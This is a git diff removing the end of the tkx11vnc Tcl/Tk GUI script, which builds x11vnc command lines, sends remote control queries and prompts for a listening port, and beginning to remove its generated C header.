- if {$item == "id" || $item == "sid"} {
- set val $menu_var($item);
- if {$val == "0x0" || $val == "root"} {
- continue
- }
- }
- if {$item == "sid" && $saw_id} {
- continue
- }
- if {$item == "id"} {
- set saw_id 1
- } elseif {$item == "httpport" && $menu_var($item) == "0"} {
- continue
- } elseif {$item == "progressive" && $menu_var($item) == "0"} {
- continue
- } elseif {$item == "dontdisconnect" && $menu_var($item) == "-1"} {
- continue
- } elseif {$item == "alwaysshared" && $menu_var($item) == "-1"} {
- continue
- }
-
- if {[value_is_bool $item]} {
- if {[info exists menu_var($item)]} {
- set add 1
- if {[info exists default_var($item)]} {
- if {$menu_var($item) == $default_var($item)} {
- set add 0;
- }
- } elseif {! $menu_var($item)} {
- set add 0
- }
- if {$add} {
- lappend cmd "-$item"
- append rc_txt "-$item\n"
- }
- }
- } elseif {[value_is_string $item]} {
- if {![info exists menu_var($item)]} {
- continue
- }
- if {$menu_var($item) != "" && $menu_var($item) != $unset_str} {
- set add 1
- set nitem [get_nitem $item]
-
- if {[info exists default_var($item)]} {
- if {$menu_var($item) == $default_var($item)} {
- set add 0;
- }
- }
- if {$add} {
- lappend cmd "-$nitem"
- set mv $menu_var($item)
-
- if {[regexp {^~} $mv]} {
- if {$item == "auth" ||
- $item == "rc" ||
- $item == "accept" ||
- $item == "connect" ||
- $item == "allow" ||
- $item == "passwdfile" ||
- $item == "o" ||
- $item == "logfile" ||
- $item == "remap" ||
- $item == "httpdir"} {
- set mv [tilde_expand $mv]
- }
- }
-
- lappend cmd $mv
- set mt $mv
- regsub -all {#} $mt {\#} mt
- append rc_txt "-$nitem $mt\n"
- }
- }
- }
- }
- lappend cmd "2>"
- lappend cmd "/dev/null"
- lappend cmd "&"
-
- if {$show_rc} {
- return $rc_txt
- } else {
- return $cmd
- }
-}
-
-proc start_x11vnc {} {
- global menu_var unset_str
- global x11vnc_prog x11vnc_xdisplay
- global connected_to_x11vnc
-
- if {$connected_to_x11vnc} {
- append_text "\n"
- append_text "WARNING: Still connected to an x11vnc server.\n"
- append_text "WARNING: Use \"stop\" or \"detach\" first.\n"
- return 0
- }
-
- if {![double_check_start_x11vnc]} {
- return
- }
-
- set x11vnc_xdisplay ""
- if {[info exists menu_var(display)]} {
- if {$menu_var(display) != "" && $menu_var(display) != $unset_str} {
- set x11vnc_xdisplay $menu_var(display)
- }
- }
-
- set cmd [get_start_x11vnc_cmd]
-
- set str [join $cmd]
- regsub { -e} $str " -e \\\n " str
-
- if {0} {
- puts "running: $str"
- foreach word $cmd {
- puts " word: $word"
- }
- }
-
- append_text "Starting x11vnc in an iconified xterm with command:\n"
- append_text " $str\n\n"
- catch {[eval exec $cmd]}
- after 500
- try_connect_and_query_all 3
- if {!$connected_to_x11vnc} {
- append_text "\nStarting x11vnc seems to have failed.\n"
- if {[regexp -- {-o } $str] || [regexp -- {-logfile} $str]} {
- append_text "Examine the logfile (Debugging -> show-logfile) for error messages.\n"
- } else {
- append_text "Rerun with a logfile (if needed) and examine the logfile\n"
- append_text "(Debugging -> show-logfile) for error messages.\n"
- }
- }
-}
-
-proc run_remote_cmd_via_sock {opts} {
- global client_sock
-
- set db 0
- if {[file channels $client_sock] == ""} {
- set client_sock ""
- return "fail"
- }
- if {[eof $client_sock]} {
- catch {close $client_sock}
- set client_sock ""
- return "fail"
- }
- set result ""
-
- setup_client_sock 0
-
- set docmd ""
- foreach opt $opts {
- if {$opt == "-R"} {
- set docmd "-R"
- continue
- } elseif {$opt == "-Q"} {
- set docmd "-Q"
- continue
- }
-
- if {$docmd == ""} {
- continue
- } elseif {$docmd == "-R"} {
- set str "cmd=$opt"
- } elseif {$docmd == "-Q"} {
- set str "qry=$opt"
- } else {
- set docmd ""
- continue
- }
-
- if {$db} {puts stderr "run_remote_cmd_via_sock: $docmd \"$str\""}
- catch {puts $client_sock $str}
- if {$db} {puts stderr "run_remote_cmd_via_sock: flush"}
- catch {flush $client_sock}
- if {$db} {puts stderr "run_remote_cmd_via_sock: gets"}
- catch {gets $client_sock res}
- if {$db} {puts stderr "run_remote_cmd_via_sock: \"$res\""}
- set res [string trim $res]
-
- if [regexp {=clients:} $res] {
- regsub {^.*=clients:} $res "" cres
- regsub {,aro=.*$} $cres "" cres
- regsub {,ans=.*$} $cres "" cres
- if {$cres == "none"} {
- set cres ""
- }
- update_clients_menu $cres
- set client_str $cres
- set_client_balloon $cres
- }
-
- if [regexp {^clients:} $res] {
- regsub {^clients:} $res "" tmp
- if {$tmp == "none"} {
- set tmp ""
- }
- update_clients_menu $tmp
- set client_str $tmp
- set_client_balloon $tmp
-
- if ![regexp {^clients} $opt] {
- # we could block here...
- if {$db} {puts stderr "run_remote_cmd_via_sock: gets"}
- gets $client_sock res
- if {$db} {puts stderr "run_remote_cmd_via_sock: \"$res\""}
- set res [string trim $res]
- }
- }
-
- set docmd ""
-
- if {$res != ""} {
- append result "$res\n"
- }
- }
-
- setup_client_sock 1
-
- set result [string trim $result]
-
- return $result
-}
-
-proc run_remote_cmd {opts} {
- global menu_var x11vnc_prog x11vnc_cmdline x11vnc_xdisplay
- global x11vnc_auth_file x11vnc_connect_file
- global client_sock
-
- set debug [in_debug_mode]
-
- if {[lindex $opts 0] == "-R" && [lindex $opts 1] == "noremote"} {
- set str [join $opts]
- if ![double_check_noremote] {
- append_text "skipping: x11vnc $str"
- return ""
- } else {
- append_text "running: x11vnc $str (please do \"Actions -> detach\" to clean things up)\n"
- append_text "subsequent -R/-Q commands should fail..."
- }
- }
-
- if {$client_sock != ""} {
- menus_disable
- stop_watch on
- set result [run_remote_cmd_via_sock $opts]
- stop_watch off
- menus_enable
- if {$result != "fail"} {
- return $result
- }
- }
-
- set cmd ""
-
- lappend cmd $x11vnc_prog;
-
- if {$x11vnc_connect_file != ""} {
- lappend cmd "-connect"
- lappend cmd $x11vnc_connect_file
- } else {
- if {$x11vnc_xdisplay != ""} {
- lappend cmd "-display"
- lappend cmd $x11vnc_xdisplay
- }
- if {$x11vnc_auth_file != ""} {
- lappend cmd "-auth"
- lappend cmd $x11vnc_auth_file
- }
- }
- lappend cmd "-sync"
- foreach word $opts {
- lappend cmd $word
- }
- lappend cmd "2>"
- lappend cmd "/dev/null"
-
- if {0 || $debug} {
- set str [join $cmd]
- puts "running: $str"
- foreach word $cmd {
- puts " word: $word"
- }
- }
-
- set output ""
- menus_disable
-
- stop_watch on
- catch {set output [eval exec $cmd]}
- stop_watch off
-
- menus_enable
- if {$debug} {
- if {[string length $output] > 100} {
- set str [string range $output 0 100]
- append_text "output: $str ...\n"
- } else {
- append_text "output: $output\n"
- }
- }
- return $output
-}
-
-proc try_connect_and_query_all {{n 2}} {
- for {set i 0} {$i < $n} {incr i} {
- if {$i > 0} {
- after 500
- append_text "trying again ...\n"
- }
- if {[try_connect]} {
- query_all
- break
- }
- }
-}
-
-proc try_connect {} {
- global x11vnc_xdisplay connected_to_x11vnc reply_xdisplay
- global menu_var unset_str
-
- set db 0
-#dtime c1
-
- if {! $connected_to_x11vnc} {
- if {[info exists menu_var(display)]} {
- set d $menu_var(display)
- if {$d != "" && $d != $unset_str && $d != $x11vnc_xdisplay} {
- set x11vnc_xdisplay $menu_var(display)
- append_text "Setting X display to: $x11vnc_xdisplay\n"
- }
- }
- }
-
- set_info "Pinging $x11vnc_xdisplay ..."
- set rargs [list "-Q" "ping"]
- set result [run_remote_cmd $rargs]
-#dtime c2a
-
- if {$db} {puts "try_connect: \"$result\""}
-
- if {[regexp {^ans=ping:} $result]} {
- regsub {^ans=ping:} $result {} reply_xdisplay
- set msg "Connected to $reply_xdisplay"
- set_info $msg
- append_text "$msg\n"
- set_connected yes
-
- setup_client_channel
-#dtime c2b
- setup_client_sock 1
- setup_client_tail
-
- fetch_displays
-#dtime c3a
- return 1
- } else {
- set str "x11vnc server."
- if {$x11vnc_xdisplay != ""} {
- set str $x11vnc_xdisplay
- }
- set msg "No reply from $str"
- set_info $msg
- append_text "$msg\n"
- set_connected no
- return 0
- }
-}
-
-proc set_view_variable {val} {
- global menu_var
- set menu_var(WindowView) $val
-}
-proc get_view_variable {} {
- global menu_var
- if {![info exists menu_var(WindowView)]} {
- set menu_var(WindowView) "none"
- }
- return $menu_var(WindowView)
-}
-
-proc dono {a b c} {
- exit 1;
-}
-
-proc do_port_prompt {} {
- global bfont ffont
- global port_reply port_set
-
- set guess 5900
- for {set i 0} {$i < 50} {incr i} {
- set fh ""
- set try [expr $guess + $i]
- catch {set fh [socket -server dono $try]}
- if {$fh != ""} {
- catch {close $fh}
- set guess $try
- break;
- }
- }
- set hn ""
- catch {set hn [exec uname -n]}
- if {$hn == ""} {
- set hn "hostname"
- }
-
- set text " Set the x11vnc Listening Port:
-
- VNC Display :0 corresponds to TCP port 5900
- VNC Display :1 corresponds to TCP port 5901
- etc.
-
- In the Entry below, indicate a Port for x11vnc to listen on.
-
- Note that to connect to x11vnc, a VNC Viewer will need to
- know your selection, for example:
-
- vncviewer $hn:0
- vncviewer $hn:1
- etc.
-
- Your firewall may block incoming connections to TCP ports;
- if it does you may need to reconfigure it.
-
- You can also set some additional parameters:
-
- - Enable SSL encryption.
- (requires an SSL enabled vncviewer, such as SSVNC)
- - Listen only on localhost. (e.g. for an SSH tunnel)
- - Enable UltraVNC or TightVNC File transfer.
-"
- set port_set $guess
- set port_reply ""
-
- toplevel .pp
- wm title .pp "Select x11vnc port"
-
- wm protocol . WM_DELETE_WINDOW "destroy .; exit"
- wm protocol .pp WM_DELETE_WINDOW "destroy .pp; exit"
-
- label .pp.m -text "$text" -relief ridge -justify left -font $ffont
-
- global tk_version
- set tkold 0
- if [info exists tk_version] {
- if [regexp {^8\.[0-3]$} $tk_version] {
- set tkold 1
- }
- if [regexp {^[3-7]\.} $tk_version] {
- set tkold 1
- }
- }
-
- if {$tkold} {
- frame .pp.f -bd 1 -relief ridge
- } else {
- frame .pp.f -bd 1 -relief ridge -pady 2
- }
- label .pp.f.l -text "Port: " -font $bfont
- entry .pp.f.e -width 8 -textvariable port_set -font $ffont
- global enable_ssl; set enable_ssl 0
- if [info exists env(X11VNC_SSL_ENABLED)] {
- set enable_ssl 1
- }
- checkbutton .pp.f.ssl -relief raised -pady 3 -padx 3 -text "Enable SSL" -variable enable_ssl -font $bfont
- global localhost; set localhost 0
- if [info exists env(X11VNC_LOCALHOST_ENABLED)] {
- set localhost 1
- }
- checkbutton .pp.f.loc -relief raised -pady 3 -padx 3 -text "Listen on localhost" -variable localhost -font $bfont
- pack .pp.f.l .pp.f.e -side left
- pack .pp.f.loc .pp.f.ssl -side right
-
- if {$tkold} {
- frame .pp.t -bd 1 -relief ridge
- } else {
- frame .pp.t -bd 1 -relief ridge -pady 2
- }
- global file_transfer; set file_transfer "none"
- if [info exists env(X11VNC_FILETRANSFER_ENABLED)] {
- set file_transfer $env(X11VNC_FILETRANSFER_ENABLED)
- }
- label .pp.t.l -text "File Transfer: " -font $bfont
- radiobutton .pp.t.none -text "None" -variable file_transfer -value "none" -font $bfont
- radiobutton .pp.t.ultra -text "UltraVNC" -variable file_transfer -value "ultra" -font $bfont
- radiobutton .pp.t.tight -text "TightVNC" -variable file_transfer -value "tight" -font $bfont
- pack .pp.t.l .pp.t.none .pp.t.ultra .pp.t.tight -side left
-
- frame .pp.o -bd 1 -relief ridge
- button .pp.o.ok -text "OK" -command "set port_reply 1; destroy .pp" -font $bfont
- button .pp.o.cancel -text "Cancel" -command "set port_reply 0; destroy .pp" -font $bfont
- pack .pp.o.ok .pp.o.cancel -side left -fill x -expand 1
- pack .pp.m -side top -fill x -expand 1
- pack .pp.f .pp.t .pp.o -side top -fill x
-
- focus .pp.f.e
- .pp.f.e icursor end
-
- wm withdraw .pp
- update
- center_win .pp
-
- wm minsize .pp [winfo width .pp] [winfo height .pp]
-
- bind .pp.f.e <KeyPress-Return> "set port_reply 1; destroy .pp"
-
- vwait port_reply
-
- if {$port_reply} {
- regsub -all {^:} $port_set "" port_set
- regsub -all {[ \t]} $port_set "" port_set
- if {[regexp {^[0-9][0-9]*$} $port_set]} {
- if {$port_set < 0} {
- set port_set [expr 0 - $port_set]
- } elseif {$port_set < 200} {
- set port_set [expr $port_set + 5900]
- }
- puts "$port_set:ssl${enable_ssl}:localhost$localhost:ft_$file_transfer"
- }
- }
-}
-
-proc change_view_state {} {
- global menu_var gui_current_state
-
- set new [get_view_variable]
-
- if {![info exists gui_current_state]} {
- set gui_current_state ""
- }
- set old $gui_current_state
- #puts "$old -> $new"
-
- if {$old == $new} {
- return
- }
-
- if {$old == "full" || $old == "icon" || $old == "tray"} {
- ;
- } else {
- set old "none"
- }
-
- if {$new == "full" || $new == "icon" || $new == "tray"} {
- if {$old == "tray"} {
- # sigh XReparentWindow would be too easy...
- # undo_tray_embed
- restart_everything $new
- destroy .
- exit
- }
- make_gui $new
- if {$new == "tray"} {
- wm withdraw .
- }
- } else {
- set_view_variable $old
- }
-}
-
-proc setup_client_tail {} {
- global client_tail
- if {$client_tail != ""} {
- fileevent $client_tail readable read_client_tail
- }
-}
-
-proc setup_client_sock {{enable 1}} {
- global client_sock
- if {$client_sock != ""} {
- if {$enable} {
- fileevent $client_sock readable read_client_sock
- } else {
- fileevent $client_sock readable ""
- }
- }
-}
-
-proc setup_tray_embed {} {
- update
- set w [winfo width .]
- set h [winfo height .]
- if {$w < 24} {
- set w 24
- }
- if {$h < 24} {
- set h 24
- }
- wm minsize . $w $h
- set wid [winfo id .]
- push_new_value "remote-cmd" "remote-cmd" "trayembed:$wid" 0
-}
-
-proc restart_everything {gui_mode} {
- global env gui_argv0 x11vnc_prog full_win
- global icon_mode_at_startup
- global tray_embed tray_running
- if {$gui_mode == "full"} {
- set env(X11VNC_ICON_MODE) 0
- } elseif {$gui_mode == "icon"} {
- set env(X11VNC_ICON_MODE) 1
- } elseif {$gui_mode == "tray"} {
- if {$tray_running} {
- set env(X11VNC_ICON_MODE) "RUNNING"
- } else {
- set env(X11VNC_ICON_MODE) "TRAY"
- }
- }
- puts stderr ""
- puts stderr "tkx11vnc: restarting gui to leave tray mode."
- puts stderr " new gui will be running in the background."
- puts stderr " use kill(1) rather than Ctrl-C to kill it."
- puts stderr ""
- if {[info exists env(X11VNC_RESTART_DEPTH)]} {
- set n $env(X11VNC_RESTART_DEPTH)
- incr n
- set env(X11VNC_RESTART_DEPTH) $n
- } else {
- set env(X11VNC_RESTART_DEPTH) 0
- }
- set env(X11VNC_ICON_SETPASS) ""
-
- if {![info exists env(X11VNC_WISHCMD)]} {
- puts stderr "failure in restart_everything."
- exit 1;
- }
-
- set code [exec $x11vnc_prog -printgui]
- if {[string length $code] < 20000} {
- puts stderr "failure in restart_everything."
- exit 1;
- }
- set tmp "/tmp/x11vnc[pid]"
- append tmp [clock clicks]
- set tmp2 ""
- catch {set tmp2 [exec mktemp $tmp.XXXXXX 2>/dev/null]}
- if {$tmp2 != "" && [file exists $tmp2]} {
- set tmp $tmp2
- } else {
- file delete -force $tmp
- if {[file exists $tmp]} {
- puts stderr "failure in restart_everything."
- exit 1;
- }
- }
- set fh [open $tmp "a"]
- if {![file owned $tmp]} {
- puts stderr "failure in restart_everything."
- exit 1;
- }
- file attributes $tmp -permissions "0400"
- puts $fh $code
- close $fh
-
- #puts stderr [exec ls -l $tmp]
-
- wm withdraw .
- catch {wm withdraw $full_win}
- update
-
- exec $env(X11VNC_WISHCMD) $tmp &
- after 2000
- file delete -force $tmp
-
- destroy .
- exit
-}
-
-proc undo_tray_embed {} {
- set wid [winfo id .]
- push_new_value "remote-cmd" "remote-cmd" "trayunembed:$wid" 0
-}
-
-############################################################################
-# main:
-
-if [info exists env(X11VNC_GUI_TIME)] {
- dtime M
-}
-
-wm withdraw .
-
-global env x11vnc_prog x11vnc_cmdline x11vnc_xdisplay x11vnc_connect;
-global x11vnc_xdisplay0
-global x11vnc_client_file x11vnc_gui_geom x11vnc_started vnc_url
-global x11vnc_gui_params
-global x11vnc_auth_file x11vnc_connect_file beginner_mode simple_gui_created
-global helpall helptext helpremote helplabel hostname osname
-global all_settings reply_xdisplay always_update
-global max_text_height max_text_width
-global text_height
-global menu_var unset_str menus_disabled
-global bfont ffont sfont snfont old_labels have_labelframes
-global connected_to_x11vnc
-global cache_all_query_vars
-global last_query_all_time query_all_freq client_tail client_sock client_info_read
-global icon_mode icon_mode_at_startup x11vnc_icon_mode
-global tray_embed tray_running icon_setpasswd icon_embed_id
-global icon_noadvanced icon_minimal
-global make_gui_count text_area_str
-global gui_argv0 gui_start_mode
-global screen_height screen_width
-
-set unset_str "(unset)"
-set vnc_url $unset_str
-set connected_to_x11vnc 0
-set menus_disabled 0
-set max_text_height 40
-set max_text_width 90
-set text_height 14
-set bfont "-adobe-helvetica-bold-r-*-*-*-120-*-*-*-*-*-*"
-set sfont "-adobe-helvetica-bold-r-*-*-*-100-*-*-*-*-*-*"
-set snfont "-adobe-helvetica-medium-r-*-*-*-100-*-*-*-*-*-*"
-set ffont "fixed"
-
-set got_helv 0
-catch {
- foreach fam [font families] {
- if {$fam == "helvetica"} {
- set got_helv 1
- }
- if {$fam == "Helvetica"} {
- set got_helv 1
- }
- }
-}
-
-if {$got_helv} {
- set bfont "Helvetica -12 bold"
- set sfont "Helvetica -10 bold"
- set snfont "Helvetica -10"
-}
-
-set ls ""
-catch {set ls [font metrics $bfont -linespace]}
-if {$ls != "" && $ls > 14} {
- # some recent setups have BIG rendering for the above fonts.
- # on recent (8/08) debian these are really ragged:
- set bfont "-adobe-helvetica-bold-r-*-*-*-90-*-*-*-*-*-*"
- set sfont "-adobe-helvetica-bold-r-*-*-*-75-*-*-*-*-*-*"
- set snfont "-adobe-helvetica-medium-r-*-*-*-75-*-*-*-*-*-*"
-
- set ls ""
- catch {set ls [font metrics $bfont -linespace]}
- if {$ls != "" && $ls < 14} {
- # these are bigger but look better... but for how long?
- set bfont "-adobe-helvetica-bold-r-*-*-*-100-*-*-*-*-*-*"
- set sfont "-adobe-helvetica-bold-r-*-*-*-80-*-*-*-*-*-*"
- set snfont "-adobe-helvetica-medium-r-*-*-*-80-*-*-*-*-*-*"
-
- # maybe consider... {-font font Font {Helvetica -12 bold} {Helvetica -12 bold}}
- # or stick with system font like ssvnc.
- }
-}
-
-# need to check if "fixed" font under XFT on tk8.5 is actually fixed width!!
-set ls ""
-catch {set ls [font metrics $ffont -linespace]}
-set fs ""
-catch {set fs [font metrics $ffont -fixed]}
-set redo 0
-if {$fs != "" && $fs != "1"} {
- set redo 1
-}
-if {$ls != "" && $ls > 14} {
- set redo 1
-}
-if {$redo} {
- foreach fn [font names] {
- if {$fn == "TkFixedFont"} {
- set ffont $fn
- break
- }
- }
-}
-
-set help_indent 24;
-set reply_xdisplay ""
-set all_settings "None so far."
-set always_update 1
-set cache_all_query_vars ""
-set query_all_freq 120
-set last_query_all_time [clock seconds]
-set client_tail ""
-set client_sock ""
-set client_info_read 0
-set make_gui_count 0
-set text_area_str ""
-set gui_argv0 $argv0
-set gui_start_mode ""
-
-if {$tk_version < 8.0} {
- puts stderr ""
- puts stderr "*** tkx11vnc: tk version is old $tk_version, please use 8.0 or higher."
- puts stderr "*** will try to continue with reduced functionality..."
- puts stderr ""
-}
-if {[regexp {^[34]} $tk_version] || $tk_version == "8.0"} {
- set old_labels 1
-} else {
- set old_labels 0
-}
-set have_labelframes 1
-if {$tk_version < 8.4} {
- set have_labelframes 0
-}
-
-set screen_height [winfo screenheight .]
-set screen_width [winfo screenwidth .]
-if {$screen_height < 700} {
- # short screen, netbook?
- set max_text_height 30
- if {$screen_height < 500} {
- # short screen, PDA?
- set max_text_height 22
- set text_height 13
- if {$screen_height <= 360} {
- # very short.
- set max_text_height 16
- set max_text_width 60
- set text_height 11
- }
- }
-}
-if {[info exists env(X11VNC_GUI_TEXT_HEIGHT)]} {
- set max_text_height $env(X11VNC_GUI_TEXT_HEIGHT)
-}
-if {[info exists env(X11VNC_GUI_TEXT_WIDTH)]} {
- set max_text_width $env(X11VNC_GUI_TEXT_WIDTH)
-}
-
-if {"$argv" == "-spit"} {
- set fh [open $argv0 r]
- puts "#ifndef _TKX11VNC_H"
- puts "#define _TKX11VNC_H"
- puts "#ifdef NOGUI"
- puts "char gui_code\[\] = \"\";"
- puts "#else"
- puts "/*"
- puts " * tkx11vnc.h: generated by 'tkx11vnc -spit'"
- puts " * Abandon all hope, ye who enter here..."
- puts " * ...edit tkx11vnc instead."
- puts " */"
- puts " char gui_code\[\] ="
- while {[gets $fh line] > -1} {
- regsub -all {\\} $line {\\\\} line
- regsub -all {"} $line {\\"} line
- puts "\"$line\\n\""
- }
- puts "#endif"
- puts "/* ifdef NOGUI */"
- puts "#endif"
- puts "/* ifndef _TKX11VNC_H */"
- close $fh
- puts ";"
- exit 0
-}
-
-set_view_variable "full"
-
-#puts [exec env | grep X11VNC]
-
-# Read environment for clues:
-
-set x11vnc_client_file "";
-if {[info exists env(X11VNC_CLIENT_FILE)]} {
- set x11vnc_client_file $env(X11VNC_CLIENT_FILE);
- set file $x11vnc_client_file
-
- set client_tail ""
- if {[file exists $file] && [file isfile $file]} {
- if {[file readable $file] && [file owned $file]} {
- set client_tail [open "|tail -f $x11vnc_client_file" "r"]
- }
- }
- if {$client_tail != ""} {
- gets $client_tail tmp
- if [eof $client_tail] {
-#puts "eof $client_tail"
- clean_client_tail
- set client_tail ""
- }
- }
- catch {file delete -force $x11vnc_client_file}
-}
-
-if {[info exists env(X11VNC_PROG)]} {
- set x11vnc_prog $env(X11VNC_PROG);
-} else {
- set x11vnc_prog "x11vnc";
-}
-
-if {[info exists env(X11VNC_CMDLINE)]} {
- set x11vnc_cmdline $env(X11VNC_CMDLINE);
-} else {
- set x11vnc_cmdline "";
-}
-
-if {[info exists env(X11VNC_CONNECT)]} {
- set x11vnc_connect 1
-} else {
- set x11vnc_connect 0;
-}
-
-if {[info exists env(X11VNC_GUI_GEOM)]} {
- set x11vnc_gui_geom $env(X11VNC_GUI_GEOM);
-} else {
- set x11vnc_gui_geom ""
-}
-if {[info exists env(X11VNC_GUI_PARAMS)]} {
- set x11vnc_gui_params $env(X11VNC_GUI_PARAMS);
-} else {
- set x11vnc_gui_params ""
-}
-
-if {[info exists env(X11VNC_FONT_BOLD)]} {
- set bfont $env(X11VNC_FONT_BOLD)
-}
-if {[info exists env(X11VNC_FONT_BOLD_SMALL)]} {
- set sfont $env(X11VNC_FONT_BOLD_SMALL)
-}
-if {[info exists env(X11VNC_FONT_REG_SMALL)]} {
- set snfont $env(X11VNC_FONT_REG_SMALL)
-}
-if {[info exists env(X11VNC_FONT_FIXED)]} {
- set ffont $env(X11VNC_FONT_FIXED)
-}
-
-if {[info exists env(X11VNC_CONNECT_FILE)]} {
- set x11vnc_connect_file $env(X11VNC_CONNECT_FILE);
-} else {
- set x11vnc_connect_file "";
-}
-
-set x11vnc_started 0
-if {[info exists env(X11VNC_STARTED)]} {
- set x11vnc_started 1
-}
-
-set x11vnc_xdisplay ""
-if {[info exists env(X11VNC_XDISPLAY)]} {
- set x11vnc_xdisplay $env(X11VNC_XDISPLAY);
- set x11vnc_connect 1
-
-} elseif {$argv != "" && [regexp {:[0-9]} $argv]} {
- set env(X11VNC_XDISPLAY) "$argv"
- set x11vnc_xdisplay "$argv"
- set x11vnc_connect 1
-
-} elseif {[info exists env(DISPLAY)]} {
- set x11vnc_xdisplay $env(DISPLAY);
-} else {
- set x11vnc_xdisplay ":0";
-}
-set x11vnc_xdisplay0 $x11vnc_xdisplay
-
-if {[info exists env(X11VNC_AUTH_FILE)]} {
- set x11vnc_auth_file $env(X11VNC_AUTH_FILE)
-} else {
- set x11vnc_auth_file ""
-}
-
-set simple_gui_created 0
-if {[info exists env(X11VNC_SIMPLE_GUI)]} {
- set beginner_mode 1
-} else {
- set beginner_mode 0
-}
-
-set icon_mode 0
-set x11vnc_icon_mode 0
-set tray_embed 0
-set tray_running 0
-
-if {![info exists env(X11VNC_ICON_MODE_AT_STARTUP)]} {
- if {[info exists env(X11VNC_ICON_MODE)]} {
- if {$env(X11VNC_ICON_MODE) != 0} {
- set env(X11VNC_ICON_MODE_AT_STARTUP) 1
- } else {
- set env(X11VNC_ICON_MODE_AT_STARTUP) 0
- }
- } else {
- set env(X11VNC_ICON_MODE_AT_STARTUP) 0
- }
-}
-set icon_mode_at_startup $env(X11VNC_ICON_MODE_AT_STARTUP)
-
-if {![info exists env(X11VNC_ICON_MODE)]} {
- set icon_mode 0
-} elseif {$env(X11VNC_ICON_MODE) == "" || $env(X11VNC_ICON_MODE) == "0"} {
- set icon_mode 0
-} else {
- set icon_mode 1
- set_view_variable "icon"
- if [regexp -nocase {TRAY} $env(X11VNC_ICON_MODE)] {
- set tray_embed 1
- }
- if [regexp -nocase {RUNNING} $env(X11VNC_ICON_MODE)] {
- set tray_running 1
- }
-}
-
-set icon_setpasswd 0
-if {[info exists env(X11VNC_ICON_SETPASS)]} {
- if {$env(X11VNC_ICON_SETPASS) != ""} {
- set icon_setpasswd 1
- }
-}
-
-set icon_noadvanced 0
-if {[info exists env(X11VNC_ICON_NOADVANCED)]} {
- set icon_noadvanced 1
-}
-
-set icon_minimal 0
-if {[info exists env(X11VNC_ICON_MINIMAL)]} {
- set icon_minimal 1
-}
-
-if {[info exists env(X11VNC_ICON_EMBED_ID)]} {
- set icon_embed_id $env(X11VNC_ICON_EMBED_ID)
-} else {
- set icon_embed_id ""
-}
-
-
-set hostname [exec uname -n]
-set osname [exec uname]
-
-if {[regexp -nocase {IRIX} $osname]} {
- # IRIX "fixed" font is huge and doublespaced...
- set ffont $snfont
-}
-if {[regexp -nocase {Darwin} $osname]} {
- set ffont {Monaco 10}
- set bfont {system}
-}
-
-if {"$argv" == "-portprompt"} {
- do_port_prompt
- exit 0
-}
-
-#puts [exec env]
-#puts "x11vnc_xdisplay: $x11vnc_xdisplay"
-
-set env(X11VNC_STD_HELP) 1
-
-# scrape the help output for the text and remote control vars:
-parse_help;
-parse_remote_help;
-parse_query_help;
-
-# tweaks to duplicate help text:
-tweak_remote_help lock deny
-tweak_remote_help unlock deny
-
-tweak_both quiet q
-tweak_help logfile o
-tweak_both xwarppointer xwarp
-tweak_both screen_blank sb
-
-set_template
-
-set_name "tkx11vnc"
-
-key_bindings;
-
-get_default_vars
-
-dtime D
-
-proc check_setpasswd {} {
- global env icon_setpasswd
- global do_props_msg
- set do_props_msg ""
- if {$icon_setpasswd} {
- set m "\n"
- set m "${m} Note the x11vnc icon in the system tray.\n"
- set m "${m} This panel is its 'Properties' dialog.\n"
- set m "${m}\n"
- set m "${m} To specify a Session Password and to\n"
- set m "${m} allow VNC viewers to connect, follow\n"
- set m "${m} these steps:\n"
- set m "${m}\n"
- set m "${m} Enter a passwd in the Password field\n"
- set m "${m} (it can be left blank.) You can also\n"
- set m "${m} supply a ViewOnly passwd if desired.\n"
- set m "${m}\n"
- set m "${m} Set 'Accept Connections' and then Press \n"
- set m "${m} 'Apply' to allow incoming connections.\n"
- set m "${m}\n"
- set m "${m} No Viewer can connect until you do this.\n"
- set m "${m}\n"
- set m "${m} The passwords are only for this x11vnc\n"
- set m "${m} session and are not saved. Run x11vnc\n"
- set m "${m} manually for more control (e.g. -rfbauth \n"
- set m "${m} for a saved password.)\n"
- set m "${m}\n"
- set m "${m} See 'Help' for details on each option.\n"
-
- global x11vnc_cmdline
-
- set dossl 0
- if {[info exists x11vnc_cmdline]} {
- if [regexp -- {-ssl} $x11vnc_cmdline] {
- set dossl 1
- }
- }
- if {$dossl || [info exists env(X11VNC_GOT_SSL)]} {
- set m "${m}\n"
- set m "${m} SSL encryption mode active. You can\n"
- set m "${m} find your Public Cert in the Logfile\n"
- set m "${m} and also the ~/.vnc/certs directory.\n"
- }
-
- if {[info exists env(X11VNC_SETPASS_FAIL)]} {
- set pp 5900
- if {[info exists env(X11VNC_GOT_RFBPORT_VAL)]} {
- if {$env(X11VNC_GOT_RFBPORT_VAL) > 0} {
- set pp $env(X11VNC_GOT_RFBPORT_VAL)
- }
- }
-
- set m " The x11vnc program failed to start! \n"
- set m "${m}\n"
- set m "${m} Maybe there is another VNC server\n"
- set m "${m} already listening on port $pp?\n"
- set m "${m}\n"
- set m "${m} You will need to start over after\n"
- set m "${m} you make sure x11vnc can start.\n"
- }
-
- set do_props_msg $m
- do_props
- }
-}
-
-if {0} {
- if {[info exists env(X11VNC_ICON_SETPASS)]} {
- if {$env(X11VNC_ICON_SETPASS) == "2"} {
- global icon_mode_at_startup icon_mode
- set icon_mode_at_startup 1
- set icon_mode 2
- }
- }
-}
-
-if {$icon_mode} {
- if {$icon_mode == 2} {
- make_gui "full"
- } elseif {$tray_embed} {
- make_gui "tray"
- } else {
- make_gui "icon"
- }
- dtime G
- old_balloon
- check_setpasswd
- push_new_value "remote-cmd" "remote-cmd" "Q:clients" 1
-} else {
- make_gui "full"
- dtime G
- check_setpasswd
-}
-
-
-# main loop.
diff --git a/x11vnc/tkx11vnc.h b/x11vnc/tkx11vnc.h
deleted file mode 100644
index 46f4bbc..0000000
--- a/x11vnc/tkx11vnc.h
+++ /dev/null
@@ -1,7351 +0,0 @@
-#ifndef _TKX11VNC_H
-#define _TKX11VNC_H
-#ifdef NOGUI
-char gui_code[] = "";
-#else
-/*
- * tkx11vnc.h: generated by 'tkx11vnc -spit'
- * Abandon all hope, ye who enter here...
- * ...edit tkx11vnc instead.
- */
- char gui_code[] =
-"#!/bin/sh\n"
-"# the next line restarts using wish. \\\n"
-"exec wish \"$0\" \"$@\"\n"
-"catch {rename send {}}\n"
-"#\n"
-"# Copyright (C) 2004-2009 Karl J. Runge <runge@karlrunge.com>\n"
-"# All rights reserved.\n"
-"#\n"
-"# This is free software; you can redistribute it and/or modify\n"
-"# it under the terms of the GNU General Public License as published by\n"
